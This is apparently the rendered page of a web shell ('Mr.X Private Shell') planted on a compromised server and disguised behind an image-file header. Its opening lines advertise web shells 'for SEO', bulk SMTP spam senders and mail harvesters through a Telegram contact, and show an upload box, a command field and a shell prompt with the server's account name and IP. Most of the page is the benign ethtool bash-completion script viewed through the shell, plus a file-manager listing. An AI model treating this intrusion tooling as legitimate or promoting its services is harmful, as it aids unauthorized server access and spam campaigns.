����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.204: ~ $
# bash completion for ethtool(8)                          -*- shell-script -*-
# shellcheck shell=bash disable=SC2207

# Complete a word representing a set of characters.
# @param $@ chars	Characters which may be present in completed set.
_ethtool_compgen_letterset()
{
	local char
	for char; do
		case "$cur" in
			*"$char"*)
				# $cur already contains $char
				;;
			*)
				COMPREPLY+=( "$cur$char" )
				;;
		esac
	done
}

# Generate completions for words matched case-insensitively
# @param $@ choices	Completion choices.
_ethtool_compgen_nocase()
{
	local reset
	reset=$( shopt -p nocasematch )
	shopt -s nocasematch

	local choice
	for choice; do
		case "$choice" in
			"$cur"*) COMPREPLY+=( "$choice" ) ;;
		esac
	done

	$reset
}

# Gets names from a section of ethtool output.
# @param $1 section_bre	POSIX BRE matching section heading (without : at end).
# @param $@		ethtool arguments
_ethtool_get_names_in_section()
{
	local section_bre="$1"
	shift

	PATH="$PATH:/sbin:/usr/sbin:/usr/local/sbin" \
		ethtool "$@" 2>/dev/null |
		command sed -n "
# Line is section heading iff it ends with :
# From requested section heading to next section heading
/^$section_bre:$/,/:$/ {
	# If line is section heading, ignore it
	/:$/d
	# Remove value and separator, if present
	s/[[:space:]]*:.*//
	# Remove leading space, if present
	s/^[[:space:]]*//
	# Print the line
	p
}"
}

# Complete an RSS Context ID
_ethtool_context()
{
	COMPREPLY=(
		$(PATH="$PATH:/sbin:/usr/sbin:/usr/local/sbin" \
			ethtool --show-nfc "${words[2]}" 2>/dev/null |
			command sed -n 's/^[[:space:]]*RSS Context ID:[[:space:]]*\([0-9]*\)$/\1/p' |
			sort -u) )
}

# Complete a network flow traffic type
# Available OPTIONS:
#	 --hash  Complete only types suitable for rx hashing
_ethtool_flow_type()
{
	local types='ah4 ah6 esp4 esp6 ether sctp4 sctp6 tcp4 tcp6 udp4 udp6'
	if [ "${1-}" != --hash ]; then
		types="$types ip4 ip6"
	else
		types="gtpc4 gtpc6 gtpc4t gtpc6t gtpu4 gtpu6 gtpu4e gtpu6e gtpu4u gtpu6u gtpu4d gtpu6d $types"
	fi
	COMPREPLY=( $( compgen -W "$types" -- "$cur" ) )
}

# Completion for ethtool --change
_ethtool_change()
{
	local -A settings=(
		[advertise]=notseen
		[autoneg]=notseen
		[duplex]=notseen
		[mdix]=notseen
		[msglvl]=notseen
		[port]=notseen
		[phyad]=notseen
		[speed]=notseen
		[wol]=notseen
		[xcvr]=notseen
		[lanes]=notseen
	)

	local -A msgtypes=(
		[drv]=notseen
		[hw]=notseen
		[ifdown]=notseen
		[ifup]=notseen
		[intr]=notseen
		[link]=notseen
		[pktdata]=notseen
		[probe]=notseen
		[rx_err]=notseen
		[rx_status]=notseen
		[timer]=notseen
		[tx_done]=notseen
		[tx_err]=notseen
		[tx_queued]=notseen
		[wol]=notseen
	)

	# Mark seen settings and msgtypes, and whether in msglvl sub-command
	local in_msglvl=
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		if [ "$in_msglvl" ] && [ "${msgtypes[$word]+set}" ]; then
			msgtypes[$word]=seen
		elif [ "${settings[$word]+set}" ]; then
			settings[$word]=seen
			if [ "$word" = msglvl ]; then
				in_msglvl=1
			else
				in_msglvl=
			fi
		fi
	done

	if [ "$in_msglvl" ] && [ "${msgtypes[$prev]+set}" ]; then
		# All msgtypes take an on/off argument
		COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
		return
	fi

	case "$prev" in
		advertise)
			# Hex number
			return ;;
		autoneg)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
		duplex)
			COMPREPLY=( $( compgen -W 'half full' -- "$cur" ) )
			return ;;
		mdix)
			COMPREPLY=( $( compgen -W 'auto on off' -- "$cur" ) )
			return ;;
		msglvl)
			# Unsigned integer or msgtype
			COMPREPLY=( $( compgen -W "${!msgtypes[*]}" -- "$cur" ) )
			return ;;
		port)
			COMPREPLY=( $( compgen -W 'aui bnc fibre mii tp' -- "$cur" ) )
			return ;;
		phyad)
			# Integer
			return ;;
		sopass)
			_mac_addresses
			return ;;
		speed)
			# Number
			return ;;
		wol)
			# $cur is a set of wol type characters.
			_ethtool_compgen_letterset p u m b a g s f d e
			return ;;
		xcvr)
			COMPREPLY=( $( compgen -W 'internal external' -- "$cur" ) )
			return ;;
		lanes)
			# Number
			return ;;
	esac

	local -a comp_words=()

	# Add settings not seen to completions
	local setting
	for setting in "${!settings[@]}"; do
		if [ "${settings[$setting]}" = notseen ]; then
			comp_words+=( "$setting" )
		fi
	done

	# Add settings not seen to completions
	if [ "$in_msglvl" ]; then
		local msgtype
		for msgtype in "${!msgtypes[@]}"; do
			if [ "${msgtypes[$msgtype]}" = notseen ]; then
				comp_words+=( "$msgtype" )
			fi
		done
	fi

	COMPREPLY=( $( compgen -W "${comp_words[*]}" -- "$cur" ) )
}

# Completion for ethtool --change-eeprom
_ethtool_change_eeprom()
{
	local -A settings=(
		[length]=1
		[magic]=1
		[offset]=1
		[value]=1
	)

	if [ "${settings[$prev]+set}" ]; then
		# All settings take an unsigned integer argument
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --coalesce
_ethtool_coalesce()
{
	local -A settings=(
		[adaptive-rx]=1
		[adaptive-tx]=1
		[pkt-rate-high]=1
		[pkt-rate-low]=1
		[rx-frames]=1
		[rx-frames-high]=1
		[rx-frames-irq]=1
		[rx-frames-low]=1
		[rx-usecs]=1
		[rx-usecs-high]=1
		[rx-usecs-irq]=1
		[rx-usecs-low]=1
		[sample-interval]=1
		[stats-block-usecs]=1
		[tx-frames]=1
		[tx-frames-high]=1
		[tx-frames-irq]=1
		[tx-frames-low]=1
		[tx-usecs]=1
		[tx-usecs-high]=1
		[tx-usecs-irq]=1
		[tx-usecs-low]=1
		[tx-aggr-max-bytes]=1
		[tx-aggr-max-frames]=1
		[tx-aggr-time-usecs]=1
	)

	case "$prev" in
		adaptive-rx|\
		adaptive-tx)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
	esac

	if [ "${settings[$prev]+set}" ]; then
		# Unsigned integer
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --config-nfc <devname> flow-type
_ethtool_config_nfc_flow_type()
{
	if [ "$cword" -eq 4 ]; then
		_ethtool_flow_type --spec
		return
	fi

	case "$prev" in
		context)
			_ethtool_context
			return ;;
		dst|\
		dst-mac|\
		src)
			# TODO: Complete only local for dst and remote for src
			_mac_addresses
			return ;;
		dst-ip)
			# Note: RX classification, so dst is usually local
			case "${words[4]}" in
				*4) _ip_addresses -4 return ;;
				*6) _ip_addresses -6 return ;;
			esac
			return ;;
		src-ip)
			# Note: RX classification, so src is usually remote
			# TODO: Remote IP addresses (ARP cache + /etc/hosts + ?)
			return ;;
		m|\
		*-mask)
			# MAC, IP, or integer bitmask
			return ;;
	esac

	local -A settings=(
		[action]=1
		[context]=1
		[loc]=1
		[queue]=1
		[vf]=1
	)

	if [ "${settings[$prev]+set}" ]; then
		# Integer
		return
	fi

	case "${words[4]}" in
		ah4|\
		esp4)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[spi]=1
				[src-ip]=1
				[tos]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		ah6|\
		esp6)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[spi]=1
				[src-ip]=1
				[tclass]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		ether)
			local -A fields=(
				[dst]=1
				[proto]=1
				[src]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		ip4)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[dst-port]=1
				[l4data]=1
				[l4proto]=1
				[spi]=1
				[src-ip]=1
				[src-port]=1
				[tos]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		ip6)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[dst-port]=1
				[l4data]=1
				[l4proto]=1
				[spi]=1
				[src-ip]=1
				[src-port]=1
				[tclass]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		sctp4|\
		tcp4|\
		udp4)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[dst-port]=1
				[src-ip]=1
				[src-port]=1
				[tos]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		sctp6|\
		tcp6|\
		udp6)
			local -A fields=(
				[dst-ip]=1
				[dst-mac]=1
				[dst-port]=1
				[src-ip]=1
				[src-port]=1
				[tclass]=1
				[user-def]=1
				[vlan-etype]=1
				[vlan]=1
			)
			;;
		*)
			return ;;
	esac

	if [ "${fields[$prev]+set}" ]; then
		# Integer
		return
	fi

	# If the previous 2 words were a field+value, suggest a mask
	local mask=
	if [ "${fields[${words[$cword-2]}]+set}" ]; then
		mask="m ${words[$cword-2]}-mask"
	fi

	# Remove fields and settings which have been seen
	local word
	for word in "${words[@]:5:${#words[@]}-6}"; do
		unset "fields[$word]" "settings[$word]"
	done

	# Remove mutually-exclusive options
	if ! [ "${settings[action]+set}" ]; then
		unset 'settings[queue]' 'settings[vf]'
	fi
	if ! [ "${settings[queue]+set}" ]; then
		unset 'settings[action]'
	fi
	if ! [ "${settings[vf]+set}" ]; then
		unset 'settings[action]'
	fi

	COMPREPLY=( $( compgen -W "$mask ${!fields[*]} ${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --config-nfc
_ethtool_config_nfc()
{
	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W 'delete flow-type rx-flow-hash' -- "$cur" ) )
		return
	fi

	case "${words[3]}" in
		delete)
			# Unsigned integer
			return ;;
		flow-type)
			_ethtool_config_nfc_flow_type
			return ;;
		rx-flow-hash)
			case "$cword" in
				4)
					_ethtool_flow_type --hash
					return ;;
				5)
					_ethtool_compgen_letterset m v t s d f n r e
					return ;;
				6)
					COMPREPLY=( $( compgen -W context -- "$cur" ) )
					return ;;
				7)
					_ethtool_context
					return ;;
			esac
			return ;;
	esac
}

# Completion for ethtool --eeprom-dump
_ethtool_eeprom_dump()
{
	local -A settings=(
		[length]=1
		[offset]=1
		[raw]=1
	)

	if [ "$prev" = raw ]; then
		COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
		return
	fi

	if [ "${settings[$prev]+set}" ]; then
		# Unsigned integer argument
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --features
_ethtool_features()
{
	local -A abbreviations=(
		[generic-receive-offload]=gro
		[generic-segmentation-offload]=gso
		[large-receive-offload]=lro
		[ntuple-filters]=ntuple
		[receive-hashing]=rxhash
		[rx-checksumming]=rx
		[rx-vlan-offload]=rxvlan
		[scatter-gather]=sg
		[tcp-segmentation-offload]=tso
		[tx-checksumming]=tx
		[tx-vlan-offload]=txvlan
		[udp-fragmentation-offload]=ufo
	)

	local -A features=()
	local feature status fixed
	# shellcheck disable=SC2034
	while read -r feature status fixed; do
		if [ -z "$feature" ]; then
			# Ignore blank line from empty expansion in here-document
			continue
		fi

		if [ "$feature" = Features ]; then
			# Ignore heading
			continue
		fi

		if [ "$fixed" = '[fixed]' ]; then
			# Fixed features can't be changed
			continue
		fi

		feature=${feature%:}
		if [ "${abbreviations[$feature]+set}" ]; then
			features[${abbreviations[$feature]}]=1
		else
			features[$feature]=1
		fi
	done <<ETHTOOL_FEATURES
$(PATH="$PATH:/sbin:/usr/sbin:/usr/local/sbin" \
	ethtool --show-features "${words[2]}" 2>/dev/null)
ETHTOOL_FEATURES

	if [ "${features[$prev]+set}" ]; then
		COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
		return
	fi

	# Remove features which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "features[$word]"
	done

	COMPREPLY=( $( compgen -W "${!features[*]}" -- "$cur" ) )
}

# Complete the current word as a kernel firmware file (for request_firmware)
# See https://www.kernel.org/doc/html/latest/driver-api/firmware/core.html
_ethtool_firmware()
{
	local -a firmware_paths=(
		/lib/firmware/updates/
		/lib/firmware/
	)

	local release
	if release=$( uname -r 2>/dev/null ); then
		firmware_paths+=(
			"/lib/firmware/updates/$release/"
			"/lib/firmware/$release/"
		)
	fi

	local fw_path_para
	if fw_path_para=$( cat /sys/module/firmware_class/parameters/path 2>/dev/null ) \
			&& [ -n "$fw_path_para" ]; then
		firmware_paths+=( "$fw_path_para" )
	fi

	local -A firmware_files=()

	local firmware_path
	for firmware_path in "${firmware_paths[@]}"; do
		local firmware_file
		for firmware_file in "$firmware_path"*; do
			if [ -f "$firmware_file" ]; then
				firmware_files[${firmware_file##*/}]=1
			fi
		done
	done

	local IFS='
'
	COMPREPLY=( $( compgen -W "${!firmware_files[*]}" -- "$cur" ) )
}

# Completion for ethtool --flash
_ethtool_flash()
{
	if [ "$cword" -eq 3 ]; then
		_ethtool_firmware
		return
	fi
}

# Completion for ethtool --get-dump
_ethtool_get_dump()
{
	case "$cword" in
		3)
			COMPREPLY=( $( compgen -W data -- "$cur" ) )
			return ;;
		4)
			# Output filename
			local IFS='
'
			COMPREPLY=( $( compgen -f -- "$cur" ) )
			return ;;
	esac
}

# Completion for ethtool --get-phy-tunable
_ethtool_get_phy_tunable()
{
	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W downshift -- "$cur" ) )
		return
	fi
}

# Completion for ethtool --module-info
_ethtool_module_info()
{
	local -A settings=(
		[hex]=1
		[length]=1
		[offset]=1
		[raw]=1
	)

	case "$prev" in
		hex|\
		raw)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
	esac

	if [ "${settings[$prev]+set}" ]; then
		# Unsigned integer argument
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --pause
_ethtool_pause()
{
	local -A settings=(
		[autoneg]=1
		[rx]=1
		[tx]=1
	)

	if [ "${settings[$prev]+set}" ]; then
		COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --per-queue
_ethtool_per_queue()
{
	local -a subcommands=(
		--coalesce
		--show-coalesce
	)

	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W "queue_mask ${subcommands[*]}" -- "$cur" ) )
		return
	fi

	local sc_start=3
	if [ "${words[3]}" = queue_mask ] ; then
		case "$cword" in
			4)
				# Hex number
				return ;;
			5)
				COMPREPLY=( $( compgen -W "${subcommands[*]}" -- "$cur" ) )
				return ;;
		esac

		sc_start=5
	fi

	case "${words[$sc_start]}" in
		--coalesce)
			# Remove --per-queue args to match normal --coalesce invocation
			local words=(
				"${words[0]}"
				--coalesce
				"${words[2]}"
				"${words[@]:$sc_start+1:${#words[@]}-$sc_start-1}"
			)
			_ethtool_coalesce
			return ;;
		--show-coalesce)
			# No args
			return ;;
	esac
}

# Completion for ethtool --register-dump
_ethtool_register_dump()
{
	local -A settings=(
		[file]=1
		[hex]=1
		[raw]=1
	)

	case "$prev" in
		hex|\
		raw)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
		file)
			local IFS='
'
			COMPREPLY=( $( compgen -f -- "$cur" ) )
			return ;;
	esac

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --reset
_ethtool_reset()
{
	if [ "$prev" = flags ]; then
		# Unsigned integer
		return
	fi

	local -A flag_names=(
		[ap]=1
		[dma]=1
		[filter]=1
		[irq]=1
		[mac]=1
		[mgmt]=1
		[offload]=1
		[phy]=1
		[ram]=1
	)

	local -A all_flag_names=()
	local flag_name
	for flag_name in "${!flag_names[@]}"; do
		all_flag_names[$flag_name]=1
		all_flag_names[$flag_name-shared]=1
	done

	# Remove all_flag_names which have been seen
	local any_dedicated=
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		case "$word" in
			all)
				# Flags are always additive.
				# Nothing to add after "all".
				return ;;
			dedicated)
				any_dedicated=1
				# "dedicated" sets all non-shared flags
				for flag_name in "${!flag_names[@]}"; do
					unset "all_flag_names[$flag_name]"
				done
				continue ;;
		esac

		if [ "${flag_names[$word]+set}" ]; then
			any_dedicated=1
		fi

		unset "all_flag_names[$word]"
	done

	COMPREPLY=( $( compgen -W "${!all_flag_names[*]}" -- "$cur" ) )

	# Although it is permitted to mix named and un-named flags or duplicate
	# flags with "all" or "dedicated", it's not likely intentional.
	# Reconsider if a real use-case (or good consistency argument) is found.
	if [ "$cword" -eq 3 ]; then
		COMPREPLY+=( all dedicated flags )
	elif [ -z "$any_dedicated" ]; then
		COMPREPLY+=( dedicated )
	fi
}

# Completion for ethtool --rxfh
_ethtool_rxfh()
{
	local -A settings=(
		[context]=1
		[default]=1
		[delete]=1
		[equal]=1
		[hfunc]=1
		[hkey]=1
		[weight]=1
	)

	case "$prev" in
		context)
			_ethtool_context
			# "new" to create a new context
			COMPREPLY+=( new )
			return ;;
		equal)
			# Positive integer
			return ;;
		hfunc)
			# Complete available RSS hash functions
			COMPREPLY=(
				$(_ethtool_get_names_in_section 'RSS hash function' \
					--show-rxfh "${words[2]}")
			)
			return ;;
		hkey)
			# Pairs of hex digits separated by :
			return ;;
		weight)
			# Non-negative integer
			return ;;
	esac

	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		# Remove settings which have been seen
		unset "settings[$word]"

		# Remove settings which are mutually-exclusive with seen settings
		case "$word" in
			context)
				unset 'settings[default]'
				;;
			default)
				unset \
					'settings[context]' \
					'settings[delete]' \
					'settings[equal]' \
					'settings[weight]'
				;;
			delete)
				unset \
					'settings[default]' \
					'settings[equal]' \
					'settings[hkey]' \
					'settings[weight]'
				;;
			equal)
				unset \
					'settings[default]' \
					'settings[delete]' \
					'settings[weight]'
				;;
			hkey)
				unset 'settings[delete]'
				;;
			weight)
				unset \
					'settings[default]' \
					'settings[delete]' \
					'settings[equal]'
				;;
		esac
	done


	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --set-channels
_ethtool_set_channels()
{
	local -A settings=(
		[combined]=1
		[other]=1
		[rx]=1
		[tx]=1
	)

	if [ "${settings[$prev]+set}" ]; then
		# Unsigned integer argument
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --set-eee
_ethtool_set_eee()
{
	local -A settings=(
		[advertise]=1
		[eee]=1
		[tx-lpi]=1
		[tx-timer]=1
	)

	case "$prev" in
		advertise|\
		tx-timer)
			# Unsigned integer
			return ;;
		eee|\
		tx-lpi)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
	esac

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --set-fec
_ethtool_set_fec()
{
	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W encoding -- "$cur" ) )
		return
	fi

	local -A modes=(
		[auto]=auto
		[rs]=RS
		[off]=off
		[baser]=BaseR
	)

	# Remove modes which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		# ethtool recognizes modes case-insensitively
		unset "modes[${word,,}]"
	done

	_ethtool_compgen_nocase "${modes[@]}"
}

# Completion for ethtool --set-phy-tunable
_ethtool_set_phy_tunable()
{
	case "$cword" in
		3)
			COMPREPLY=( $( compgen -W downshift -- "$cur" ) )
			return ;;
		4)
			COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
			return ;;
		5)
			COMPREPLY=( $( compgen -W count -- "$cur" ) )
			return ;;
	esac
}

# Completion for ethtool --set-priv-flags
_ethtool_set_priv_flags()
{
	if [ $(( cword % 2 )) -eq 0 ]; then
		COMPREPLY=( $( compgen -W 'on off' -- "$cur" ) )
		return
	fi

	# Get available private flags
	local -A flags=()
	local flag
	while IFS= read -r flag; do
		# Ignore blank line from empty here-document
		if [ -n "$flag" ]; then
			flags[$flag]=1
		fi
	done <<ETHTOOL_PRIV_FLAGS
$(_ethtool_get_names_in_section \
	'Private flags for [[:graph:]]*' --show-priv-flags "${words[2]}")
ETHTOOL_PRIV_FLAGS

	# Remove flags which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "flags[$word]"
	done

	COMPREPLY=( $( compgen -W "${!flags[*]}" -- "$cur" ) )
}

# Completion for ethtool --set-ring
_ethtool_set_ring()
{
	local -A settings=(
		[rx-jumbo]=1
		[rx-mini]=1
		[rx]=1
		[tx]=1
	)

	if [ "${settings[$prev]+set}" ]; then
		# Unsigned integer argument
		return
	fi

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --show-nfc
_ethtool_show_nfc()
{
	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W 'rule rx-flow-hash' -- "$cur" ) )
		return
	fi

	case "${words[3]}" in
		rule)
			if [ "$cword" -eq 4 ]; then
				COMPREPLY=(
					$(PATH="$PATH:/sbin:/usr/sbin:/usr/local/sbin" \
						ethtool --show-nfc "${words[2]}" 2>/dev/null |
						command sed -n 's/^Filter:[[:space:]]*\([0-9]*\)$/\1/p')
				)
			fi
			return ;;
		rx-flow-hash)
			case "$cword" in
				4)
					_ethtool_flow_type --hash
					return ;;
				5)
					COMPREPLY=( $( compgen -W context -- "$cur" ) )
					return ;;
				6)
					_ethtool_context
					return ;;
			esac
			;;
	esac
}

# Completion for ethtool --show-rxfh
_ethtool_show_rxfh()
{
	case "$cword" in
		3)
			COMPREPLY=( $( compgen -W context -- "$cur" ) )
			return ;;
		4)
			_ethtool_context
			return ;;
	esac
}

# Completion for ethtool --test
_ethtool_test()
{
	if [ "$cword" -eq 3 ]; then
		COMPREPLY=( $( compgen -W 'external_lb offline online' -- "$cur" ) )
		return
	fi
}

# Completion for ethtool --set-module
_ethtool_set_module()
{
	local -A settings=(
		[power-mode-policy]=1
	)

	case "$prev" in
		power-mode-policy)
			COMPREPLY=( $( compgen -W 'high auto' -- "$cur" ) )
			return ;;
	esac

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Completion for ethtool --flash-module-firmware
_ethtool_flash_module_firmware()
{
	local -A settings=(
		[file]=1
		[pass]=1
	)

	case "$prev" in
		file)
			_ethtool_firmware
			return ;;
		pass)
			# Number
			return ;;
	esac

	# Remove settings which have been seen
	local word
	for word in "${words[@]:3:${#words[@]}-4}"; do
		unset "settings[$word]"
	done

	COMPREPLY=( $( compgen -W "${!settings[*]}" -- "$cur" ) )
}

# Complete any ethtool command
_ethtool()
{
	local cur prev words cword
	_init_completion || return

	# Per "Contributing to bash-completion", complete non-duplicate long opts
	local -A suggested_funcs=(
		[--change-eeprom]=change_eeprom
		[--change]=change
		[--coalesce]=coalesce
		[--config-nfc]=config_nfc
		[--driver]=devname
		[--dump-module-eeprom]=module_info
		[--eeprom-dump]=eeprom_dump
		[--features]=features
		[--flash]=flash
		[--get-dump]=get_dump
		[--get-phy-tunable]=get_phy_tunable
		[--identify]=devname
		[--module-info]=module_info
		[--negotiate]=devname
		[--offload]=features
		[--pause]=pause
		[--per-queue]=per_queue
		[--phy-statistics]=devname
		[--register-dump]=register_dump
		[--reset]=reset
		[--set-channels]=set_channels
		[--set-dump]=devname
		[--set-eee]=set_eee
		[--set-fec]=set_fec
		[--set-phy-tunable]=set_phy_tunable
		[--set-priv-flags]=set_priv_flags
		[--set-ring]=set_ring
		[--set-rxfh-indir]=rxfh
		[--show-channels]=devname
		[--show-coalesce]=devname
		[--show-eee]=devname
		[--show-features]=devname
		[--show-fec]=devname
		[--show-nfc]=show_nfc
		[--show-offload]=devname
		[--show-pause]=devname
		[--show-permaddr]=devname
		[--show-priv-flags]=devname
		[--show-ring]=devname
		[--show-rxfh]=show_rxfh
		[--show-time-stamping]=devname
		[--statistics]=devname
		[--test]=test
		[--set-module]=set_module
		[--show-module]=devname
		[--flash-module-firmware]=flash_module_firmware
	)
	local -A other_funcs=(
		[--config-ntuple]=config_nfc
		[--rxfh]=rxfh
		[--show-ntuple]=show_nfc
		[--show-rxfh-indir]=devname
		[-A]=pause
		[-C]=coalesce
		[-E]=change_eeprom
		[-G]=set_ring
		[-K]=features
		[-L]=set_channels
		[-N]=config_nfc
		[-P]=devname
		[-Q]=per_queue
		[-S]=devname
		[-T]=devname
		[-U]=config_nfc
		[-W]=devname
		[-X]=rxfh
		[-a]=devname
		[-c]=devname
		[-d]=register_dump
		[-e]=eeprom_dump
		[-f]=flash
		[-g]=devname
		[-i]=devname
		[-k]=devname
		[-l]=devname
		[-m]=module_info
		[-n]=show_nfc
		[-p]=devname
		[-r]=devname
		[-s]=change
		[-t]=test
		[-u]=show_nfc
		[-w]=get_dump
		[-x]=devname
	)

	if [ "$cword" -le 1 ]; then
		_available_interfaces
		COMPREPLY+=(
			$( compgen -W "--help --version ${!suggested_funcs[*]}" -- "$cur" )
		)
		return
	fi

	local func=${suggested_funcs[${words[1]}]-${other_funcs[${words[1]}]-}}
	if [ "$func" ]; then
		# All sub-commands have devname as their first argument
		if [ "$cword" -eq 2 ]; then
			_available_interfaces
			return
		fi

		if [ "$func" != devname ]; then
			"_ethtool_$func"
		fi
	fi
} &&
complete -F _ethtool ethtool

# ex: filetype=sh sts=8 sw=8 ts=8 noet

Filemanager

Name Type Size Permission Actions
addpart File 484 B 0644
appstream-util File 2.7 KB 0644
biosdecode File 679 B 0644
blkdiscard File 686 B 0644
blkid File 2.1 KB 0644
blkzone File 1014 B 0644
blockdev File 760 B 0644
bootctl File 3.7 KB 0644
busctl File 7.24 KB 0644
bwrap File 1.07 KB 0644
cal File 441 B 0644
cfdisk File 608 B 0644
chcpu File 1.49 KB 0644
chfn File 445 B 0644
chmem File 501 B 0644
chrt File 920 B 0644
chsh File 504 B 0644
cloud-init File 3.24 KB 0644
col File 460 B 0644
colcrt File 484 B 0644
colrm File 509 B 0644
column File 1.42 KB 0644
coredumpctl File 3.65 KB 0644
cpupower File 3.42 KB 0644
ctrlaltdel File 335 B 0644
dconf File 1.15 KB 0644
delpart File 563 B 0644
devlink File 26.76 KB 0644
dmesg File 1.2 KB 0644
dmidecode File 1.13 KB 0644
dnf File 10.96 KB 0644
dpll File 9.59 KB 0644
dracut File 4.44 KB 0644
eject File 1.22 KB 0644
ethtool File 24.61 KB 0644
fallocate File 721 B 0644
fdformat File 566 B 0644
fdisk File 1.87 KB 0644
fincore File 916 B 0644
findfs File 695 B 0644
findmnt File 3.12 KB 0644
flatpak File 1.32 KB 0644
flock File 874 B 0644
fsck File 770 B 0644
fsck.cramfs File 702 B 0644
fsck.minix File 418 B 0644
fsfreeze File 524 B 0644
fstrim File 743 B 0644
fwupdmgr File 9.53 KB 0644
fwupdtool File 8.13 KB 0644
gapplication File 1.36 KB 0644
gdbus File 935 B 0644
getopt File 815 B 0644
gio File 3.74 KB 0644
git File 92.4 KB 0644
gitk File 92.4 KB 0644
gresource File 1.32 KB 0644
grub File 11.41 KB 0644
gsettings File 2.76 KB 0644
gst-inspect-1.0 File 2.54 KB 0644
gst-launch-1.0 File 3.4 KB 0644
hardlink File 604 B 0644
hexdump File 1007 B 0644
hostnamectl File 2.69 KB 0644
hwclock File 960 B 0644
imunify360-agent File 12.05 KB 0644
ionice File 1.13 KB 0644
ipcmk File 576 B 0644
ipcrm File 1.39 KB 0644
ipcs File 514 B 0644
irqtop File 889 B 0644
isosize File 529 B 0644
journalctl File 6.1 KB 0644
kernel-install File 2.03 KB 0644
kmod File 3.16 KB 0644
last File 949 B 0644
ldattach File 1.44 KB 0644
